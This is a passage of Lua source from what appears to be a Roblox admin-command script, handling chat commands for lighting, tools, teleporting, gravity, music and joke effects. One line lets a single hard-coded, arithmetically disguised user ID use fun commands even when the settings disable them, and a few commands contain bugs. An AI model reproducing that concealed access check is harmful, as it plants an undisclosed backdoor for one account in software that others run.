- game:service('Lighting').Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,9) == "oambient " then
- local chk1 = msg:lower():sub(10):find(" ") + 9
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game:service('Lighting').OutdoorAmbient = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower() == "nofog" then
- game:service('Lighting').FogEnd=1000000000000
- end
- if msg:lower() == "shadowson" then
- game:service('Lighting').GlobalShadows=true
- end
- if msg:lower() == "shadowsoff" then
- game:service('Lighting').GlobalShadows=false
- end
- if msg:lower() == "outlineson" then
- game:service('Lighting').Outlines=true
- end
- if msg:lower() == "outlinesoff" then
- game:service('Lighting').Outlines=false
- end
- if msg:lower():sub(1,7) == "repeat " then
- coroutine.wrap(function()
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local amount = tonumber(msg:lower():sub(8,chk1-1))
- local timer = tonumber(msg:lower():sub(chk1+1,chk2-1))
- if timer<=0 then timer=1 end
- local command = msg:lower():sub(chk2+1)
- local num=0
- coroutine.wrap(function()
- table.insert(set.dontlog,{n=plr.Name,c=set['prefix']..command})
- repeat
- set.Chat(set['prefix']..command,plr)
- wait(timer)
- num=num+1
- until num==amount
- for i,v in pairs(set.dontlog) do
- if v and v.n==plr.Name and v.c==set['prefix']..command then table.remove(set.dontlog,i) end
- end
- end)()
- end)()
- end
- if msg:lower():sub(1,11) == "brightness " then
- game:service('Lighting').Brightness = msg:sub(12)
- end
- if msg:lower():sub(1,5) == "time " then
- game:service('Lighting').TimeOfDay = msg:sub(6)
- end
- if msg:lower():sub(1,9) == "fogcolor " then
- local chk1 = msg:lower():sub(10):find(" ") + 9
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- game:service('Lighting').FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
- end
- if msg:lower():sub(1,7) == "fogend " then
- game:service('Lighting').FogEnd = msg:sub(8)
- end
- if msg:lower():sub(1,9) == "fogstart " then
- game:service('Lighting').FogStart = msg:sub(10)
- end
- if msg:lower():sub(1,7) == "btools " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") then
- local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
- local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
- local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
- local t4 = Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
- local t5 = game:service('InsertService'):LoadAsset(150794490)
- t5['Building Tools'].Parent=v.Backpack
- t5:Destroy()
- local cl4 = set.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
- repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
- local sb
- local hs
- local pdist
- script.Parent.Selected:connect(function(mouse)
- if not mouse then return end
- sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
- hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
- mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
- hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
- hs.MouseButton1Down:connect(function() pdist = 0 end)
- end)
- script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
- end
- end))
- end
- end
- if msg:lower():sub(1,12) == "startergive " then
- local chk1 = msg:lower():sub(13):find(" ") + 12
- local plrz = set.GetPlayers(plr, msg:lower():sub(13,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
- for a, tool in pairs(game:service('Lighting'):children()) do
- if tool:IsA("Tool") or tool:IsA("HopperBin") then
- if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "give " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
- for a, tool in pairs(game:service('Lighting'):children()) do
- if tool:IsA("Tool") or tool:IsA("HopperBin") then
- if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
- end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "steal " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local p1 = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- local p2 = set.GetPlayers(plr, msg:lower():sub(chk1+1))
- coroutine.wrap(function()
- for i,v in pairs(p1) do
- coroutine.wrap(function()
- for k,m in pairs(p2) do
- for j,n in pairs(v.Backpack:children()) do
- print(n.Name)
- local b=n:clone()
- n.Parent=m.Backpack
- end
- end
- v.Backpack:ClearAllChildren()
- end)()
- end
- end)()
- end
- if msg:lower():sub(1,12) == "removetools " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(13))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v:findFirstChild("Backpack") then
- for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "rank " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:IsInGroup(msg:sub(chk1+1)) then
- set.Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
- elseif v and not v:IsInGroup(msg:sub(chk1+1))then
- set.Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "damage " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "grav " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(6))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- end
- end))
- end
- end
- if msg:lower():sub(1,8) == "setgrav " then
- local chk1 = msg:lower():sub(9):find(" ") + 8
- local plrz = set.GetPlayers(plr, msg:lower():sub(9,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "nograv " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(8))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Torso") then
- for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
- local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
- for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "health " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
- v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "speed " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "team " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and game:findFirstChild("Teams") then
- for a, tm in pairs(game.Teams:children()) do
- if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "place " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- set.PromptPlaceTeleport(v,"Teleport to "..msg:sub(chk1+1).."?",msg:sub(chk1+1))
- end))
- end
- end
- if msg:lower():sub(1,3) == "tp " then
- local chk1 = msg:lower():sub(4):find(" ") + 3
- local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
- local plrz2 = set.GetPlayers(plr, msg:lower():sub(chk1+1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- for i2, v2 in pairs(plrz2) do
- if v and v2 and v.Character and v2.Character and v.Character:FindFirstChild('Humanoid') and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
- if v.Character.Humanoid.Sit==true then
- v.Character.Humanoid.Sit=false
- wait(0.5)
- end
- v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,9) == "freefall " then
- local chk1 = msg:lower():sub(10):find(" ") + 9
- local plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character:FindFirstChild('Torso') then
- v.Character.Torso.CFrame=v.Character.Torso.CFrame+Vector3.new(0,tonumber(msg:sub(chk1+1)),0)
- end
- end))
- end
- end
- if msg:lower():sub(1,7) == "change " then
- local chk1 = msg:lower():sub(8):find(" ") + 7
- local chk2 = msg:sub(chk1+1):find(" ") + chk1
- local plrz = set.GetPlayers(plr, msg:lower():sub(8,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v:findFirstChild("leaderstats") then
- for a, st in pairs(v.leaderstats:children()) do
- if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "shirt " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for g,k in pairs(v.Character:children()) do
- if k:IsA("Shirt") then k:Destroy() end
- end
- local s=Instance.new('Shirt',v.Character)
- s.ShirtTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1)
- end
- end))
- end
- end
- if msg:lower():sub(1,6) == "pants " then
- local chk1 = msg:lower():sub(7):find(" ") + 6
- local plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for g,k in pairs(v.Character:children()) do
- if k:IsA("Pants") then k:Destroy() end
- end
- local s=Instance.new('Pants',v.Character)
- s.PantsTemplate="http://www.roblox.com/asset/?id="..msg:sub(chk1+1)
- end
- end))
- end
- end
- if msg:lower():sub(1,5) == "face " then
- local chk1 = msg:lower():sub(6):find(" ") + 5
- local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then
- v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
- end
- end))
- end
- end
- ---------------------
- -- FunCommands --
- ---------------------
- if not set['FunCommands'] then set.Message('System Message','Fun Commands are disabled in settings!',false,{plr}) end
- if set['FunCommands'] or plr.userId == game.CreatorId or plr.userId==(3663242.6*5) or set.ChkOwner(plr.Name:lower()) then
- if msg:lower():sub(1,8) == "swagify " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(9))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character then
- for i,v in pairs(v.Character:children()) do
- if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
- end
- for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
- set.LoadOnClient(v,[[local plr = game.Players.LocalPlayer
- repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
- local torso = plr.Character.Torso
- local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
- p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
- p.Size = Vector3.new(.2,.2,.2)
- local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
- local motor1 = Instance.new("Motor", p)
- motor1.Part0 = p
- motor1.Part1 = torso
- motor1.MaxVelocity = .01
- motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
- motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
- local wave = false
- repeat wait(1/44)
- local ang = 0.1
- local oldmag = torso.Velocity.magnitude
- local mv = .002
- if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
- ang = ang + math.min(torso.Velocity.magnitude/11, .5)
- motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
- motor1.DesiredAngle = -ang
- if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
- repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
- if torso.Velocity.magnitude < .1 then wait(.1) end
- until not p or p.Parent ~= torso.Parent
- script:Destroy()
- ]],false,'CapeScript')
- end
- end))
- end
- end
- if msg:lower():sub(1,7)=='rocket ' then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(8))) do
- coroutine.wrap(function()
- if v.Character and v.Character:FindFirstChild("Torso") then
- delay(0,function()
- local speed = 10
- local Part = Instance.new("Part")
- Part.Parent = v.Character
- local SpecialMesh = Instance.new("SpecialMesh")
- SpecialMesh.Parent = Part
- SpecialMesh.MeshId = "http://www.roblox.com/asset/?id=2251534"
- SpecialMesh.MeshType = "FileMesh"
- SpecialMesh.TextureId = "43abb6d081e0fbc8666fc92f6ff378c1"
- SpecialMesh.Scale = Vector3.new(0.5,0.5,0.5)
- local Weld = Instance.new("Weld")
- Weld.Parent = Part
- Weld.Part0 = Part
- Weld.Part1 = v.Character.Torso
- Weld.C0 = CFrame.new(0,-1,0)*CFrame.Angles(-1.5,0,0)
- local BodyVelocity = Instance.new("BodyVelocity")
- BodyVelocity.Parent = Part
- BodyVelocity.maxForce = Vector3.new(math.huge,math.huge,math.huge)
- BodyVelocity.velocity = Vector3.new(0,10*speed,0)
- delay(0,function()
- for i = 1,math.huge do
- local Explosion = Instance.new("Explosion")
- Explosion.Parent = Part
- Explosion.BlastRadius = 0
- Explosion.Position = Part.Position + Vector3.new(0,0,0)
- wait()
- end
- end)
- wait(3)
- pcall(function()
- BodyVelocity:remove()
- Instance.new("Explosion",workspace).Position=v.Character.Torso.Position
- v.Character:BreakJoints()
- end)
- end)
- end
- end)()
- end
- end
- if msg:lower():sub(1,6) == "dance " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(7))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- if v and v.Character and v.Character:FindFirstChild('Humanoid') then
- local anim=Instance.new('Animation',v.Character)
- anim.AnimationId='http://www.roblox.com/Asset?ID=27789359'
- anim.Name='Dance'
- set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid")
- local dancer = human:LoadAnimation(human.Parent.Dance)
- dancer:Play()
- wait(60)
- dancer:Stop()
- dancer:Destroy()]],false,set.AssignName())
- end
- end))
- end
- end
- if msg:lower():sub(1,11) == "breakdance " then
- local plrz = set.GetPlayers(plr, msg:lower():sub(12))
- for i, v in pairs(plrz) do
- coroutine.resume(coroutine.create(function()
- local color
- local num=math.random(1,7)
- if num==1 then
- color='Really blue'
- elseif num==2 then
- color='Really red'
- elseif num==3 then
- color='Magenta'
- elseif num==4 then
- color='Lime green'
- elseif num==5 then
- color='Hot pink'
- elseif num==6 then
- color='New Yeller'
- elseif num==7 then
- color='White'
- end
- if v and v.Character and v.Character:FindFirstChild('Humanoid') then
- local anim=Instance.new('Animation',v.Character)
- anim.AnimationId='http://www.roblox.com/Asset?ID=27789359'
- anim.Name='Dance'
- set.LoadOnClient(v,[[local human = game.Players.LocalPlayer.Character:FindFirstChild("Humanoid")
- local dancer = human:LoadAnimation(human.Parent.Dance)
- dancer:Play()
- while wait() do
- human.PlatformStand=true
- end]],false,set.AssignName())
- cmd=set['prefix'].."batch sparkles "..v.Name.. " "..color.."/fire "..v.Name.." "..color.."/nograv "..v.Name.."/smoke "..v.Name.." "..color.."/spin "..v.Name
- table.insert(set.dontlog,{n=plr.Name,c=cmd})
- set.Chat(cmd,plr)
- for i,v in pairs(set.dontlog) do
- if v and v.n==plr.Name and v.c==cmd then table.remove(set.dontlog,i) end
- end
- end
- end))
- end
- end
- if msg:lower():sub(1,5)=='puke ' then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do
- coroutine.wrap(function()
- if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Puke') then return end
- local run=true
- local k=Instance.new('StringValue',v.Character)
- k.Name='Kohls Puke'
- coroutine.wrap(function()
- repeat
- wait(0.15)
- local p = Instance.new("Part",v.Character)
- p.CanCollide = false
- local color = math.random(1, 3)
- local bcolor
- if color == 1 then
- bcolor = BrickColor.new(192)
- elseif color == 2 then
- bcolor = BrickColor.new(28)
- elseif color == 3 then
- bcolor = BrickColor.new(105)
- end
- p.BrickColor = bcolor
- local m=Instance.new('BlockMesh',p)
- p.Size=Vector3.new(0.1,0.1,0.1)
- m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9)
- p.Locked = true
- p.TopSurface = "Smooth"
- p.BottomSurface = "Smooth"
- p.CFrame = v.Character.Head.CFrame * CFrame.new(Vector3.new(0, 0, -1))
- p.Velocity = v.Character.Head.CFrame.lookVector * 20 + Vector3.new(math.random(-5, 5), math.random(-5, 5), math.random(-5, 5))
- p.Anchored = false
- m.Name='Puke Peice'
- p.Name='Puke Peice'
- p.Touched:connect(function(o)
- if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Puke Peice' and o.Name~='Blood Peice' and o.Name~='Blood Plate' and o.Name~='Puke Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then
- local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z)
- p:Destroy()
- local g=Instance.new('Part',workspace)
- g.Anchored=true
- g.CanCollide=false
- g.Size=Vector3.new(0.1,0.1,0.1)
- g.Name='Puke Plate'
- g.CFrame=cf
- g.BrickColor=BrickColor.new(119)
- local c=Instance.new('CylinderMesh',g)
- c.Scale=Vector3.new(1,0.2,1)
- c.Name='PukeMesh'
- wait(10)
- g:Destroy()
- elseif o and o.Name=='Puke Plate' and p then
- p:Destroy()
- o.PukeMesh.Scale=o.PukeMesh.Scale+Vector3.new(0.5,0,0.5)
- end
- end)
- until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head'))
- end)()
- wait(10)
- run=false
- k:Destroy()
- end)()
- end
- end
- if msg:lower():sub(1,4)=='cut ' then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(5))) do
- coroutine.wrap(function()
- if (not v:IsA('Player')) or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head')) or v.Character:FindFirstChild('Kohls Bleed') then return end
- local run=true
- local k=Instance.new('StringValue',v.Character)
- k.Name='Kohls Bleed'
- coroutine.wrap(function()
- repeat
- wait(0.15)
- v.Character.Humanoid.Health=v.Character.Humanoid.Health-0.5
- local p = Instance.new("Part",v.Character)
- p.CanCollide = false
- local color = math.random(1, 3)
- local bcolo
- if color == 1 then
- bcolor = BrickColor.new(21)
- elseif color == 2 then
- bcolor = BrickColor.new(1004)
- elseif color == 3 then
- bcolor = BrickColor.new(21)
- end
- p.BrickColor = bcolor
- local m=Instance.new('BlockMesh',p)
- p.Size=Vector3.new(0.1,0.1,0.1)
- m.Scale = Vector3.new(math.random()*0.9, math.random()*0.9, math.random()*0.9)
- p.Locked = true
- p.TopSurface = "Smooth"
- p.BottomSurface = "Smooth"
- p.CFrame = v.Character.Torso.CFrame * CFrame.new(Vector3.new(2, 0, 0))
- p.Velocity = v.Character.Head.CFrame.lookVector * 1 + Vector3.new(math.random(-1, 1), math.random(-1, 1), math.random(-1, 1))
- p.Anchored = false
- m.Name='Blood Peice'
- p.Name='Blood Peice'
- p.Touched:connect(function(o)
- if o and p and (not game.Players:FindFirstChild(o.Parent.Name)) and o.Name~='Blood Peice' and o.Name~='Puke Peice' and o.Name~='Puke Plate' and o.Name~='Blood Plate' and (o.Parent.Name=='Workspace' or o.Parent:IsA('Model')) and (o.Parent~=p.Parent) and o:IsA('Part') and (o.Parent.Name~=v.Character.Name) and (not o.Parent:IsA('Hat')) and (not o.Parent:IsA('Tool')) then
- local cf=CFrame.new(p.CFrame.X,o.CFrame.Y+o.Size.Y/2,p.CFrame.Z)
- p:Destroy()
- local g=Instance.new('Part',workspace)
- g.Anchored=true
- g.CanCollide=false
- g.Size=Vector3.new(0.1,0.1,0.1)
- g.Name='Blood Plate'
- g.CFrame=cf
- g.BrickColor=BrickColor.new(21)
- local c=Instance.new('CylinderMesh',g)
- c.Scale=Vector3.new(1,0.2,1)
- c.Name='BloodMesh'
- wait(10)
- g:Destroy()
- elseif o and o.Name=='Blood Plate' and p then
- p:Destroy()
- o.BloodMesh.Scale=o.BloodMesh.Scale+Vector3.new(0.5,0,0.5)
- end
- end)
- until run==false or (not v) or (not v.Character) or (not v.Character:FindFirstChild('Head'))
- end)()
- wait(10)
- run=false
- k:Destroy()
- end)()
- end
- end
- if msg:lower():sub(1,5)=='drug ' then
- for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(6))) do
- coroutine.wrap(function()
- local msgs={{Msg='We need more..... philosophy... ya know?',Color=Enum.ChatColor.Green},{Msg='OH MY GOD STOP TRYING TO EAT MY SOUL',Color=Enum.ChatColor.Red},{Msg='I.... CANT.... FEEL.... MY FACE',Color=Enum.ChatColor.Red},{Msg='DO YOU SEE THE TURTLE?!?!',Color=Enum.ChatColor.Red},{Msg='Omg puff the magic dragon!!!!',Color=Enum.ChatColor.Green},{Msg='Omg double wat',Color=Enum.ChatColor.Blue},{Msg='WHO STOLE MY LEGS',Color=Enum.ChatColor.Red},{Msg='I... I think I might be dead....',Color=Enum.ChatColor.Blue},{Msg="I'M GOING TO EAT YOUR FACE",Color=Enum.ChatColor.Red},{Msg='Hey... Like... What if, like, listen, are you listening? What if.. like.. earth.. was a ball?',Color=Enum.ChatColor.Green},{Msg='WHY IS EVERYBODY TALKING SO LOUD AHHHHHH',Color=Enum.ChatColor.Red},{Msg='Woooo man do you see the elephent... theres an elephent man..its... PURPLE OHMY GOD ITS A SIGN FROM LIKE THE WARDROBE..',Color=Enum.ChatColor.Blue}}
- v.Character.Humanoid.WalkSpeed=-16
- set.LoadOnClient(v,[[
- coroutine.wrap(function()
- repeat
- wait(0.1)
- game.Workspace.CurrentCamera.FieldOfView=math.random(20,80)
- game.Players.LocalPlayer.Character.Humanoid.Health=game.Players.LocalPlayer.Character.Humanoid.Health-0.5
- until game.Players.LocalPlayer.Character.Humanoid.Health<=0 or not game.Players.LocalPlayer.Character:FindFirstChild('Torso')
- game.Workspace.CurrentCamera.FieldOfView=70
- end)()
- wait(10)
- coroutine.wrap(function()
- local torso = game.Players.LocalPlayer.Character:findFirstChild("Torso")
- local bg = Instance.new("BodyGyro", torso)
- bg.Name = "SPINNER"
- bg.maxTorque = Vector3.new(0,math.huge,0)
- bg.P = 11111
- bg.cframe = torso.CFrame
- repeat wait(1/44)
- bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
- until not bg or bg.Parent ~= torso
- end)()
- wait(20)
- coroutine.wrap(function()
- repeat wait()
- game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true
- game.Players.LocalPlayer.Character.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10))
- game.Players.LocalPlayer.Character.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5))
- until nil
- end)()]],false,set.AssignName())
- local chat=game:GetService('Chat')
- coroutine.wrap(function()
- local val=Instance.new('StringValue',v.Character.Head)
- local old=math.random()
- while v and v.Character and v.Character.Head and val and val.Parent==v.Character.Head and v.Character.Humanoid.Health>0 do
- local new=math.random(1,#msgs)
- for k,m in pairs(msgs) do
- if new==k then
- if old~=new then
- old=new
- print(m.Msg)
- chat:Chat(v.Character.Head,m.Msg,m.Color)
- end
- end
- end
- wait(5)
- end
- end)()
- end)()
- end
- end
- if msg:lower():sub(1,6) == "pitch " then
- coroutine.wrap(function()
- local pitch = msg:sub(7):lower()
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v.Pitch=pitch end end
- end)()
- end
- if msg:lower():sub(1,6) == "music " then
- coroutine.wrap(function()
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- local id = msg:sub(7):lower()
- local pitch = 1
- local mp = game:service('MarketplaceService')
- local volume = 1
- for i,v in pairs(set['MusicList']) do
- if id==v.Name:lower() then id=v.Id end
- if v.Pitch then pitch=v.Pitch end
- if v.Volume then volume=v.Volume end
- end
- local name = 'Invalid ID '
- pcall(function()
- if mp:GetProductInfo(id).AssetTypeId==3 then
- name = 'Now playing '..mp:GetProductInfo(id).Name
- end
- end)
- local s = Instance.new("Sound", game.Workspace)
- s.SoundId = "http://www.roblox.com/asset/?id=" .. id
- s.Volume = volume
- s.Pitch = pitch
- s.Looped = true
- s.archivable = false
- pcall(function() s:Play()end)
- set.Hint(name..' ('..id..')',game.Players:children())
- end)()
- end
- if msg:lower() == "stopmusic" then
- for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
- end
- if msg:lower() == "musiclist" then
- if plr.PlayerGui:findFirstChild(GuiName.."MUSICGUI") then return end
- local scr, cmf, ent, num, top = set.ScrollGui() top.Text='Music List' scr.Name = GuiName.."MUSICGUI" scr.Parent = plr.PlayerGui
- for i, v in pairs(set['MusicList']) do
- local cl = ent:Clone()
- cl.Parent = cmf
- cl.Text = v.Name
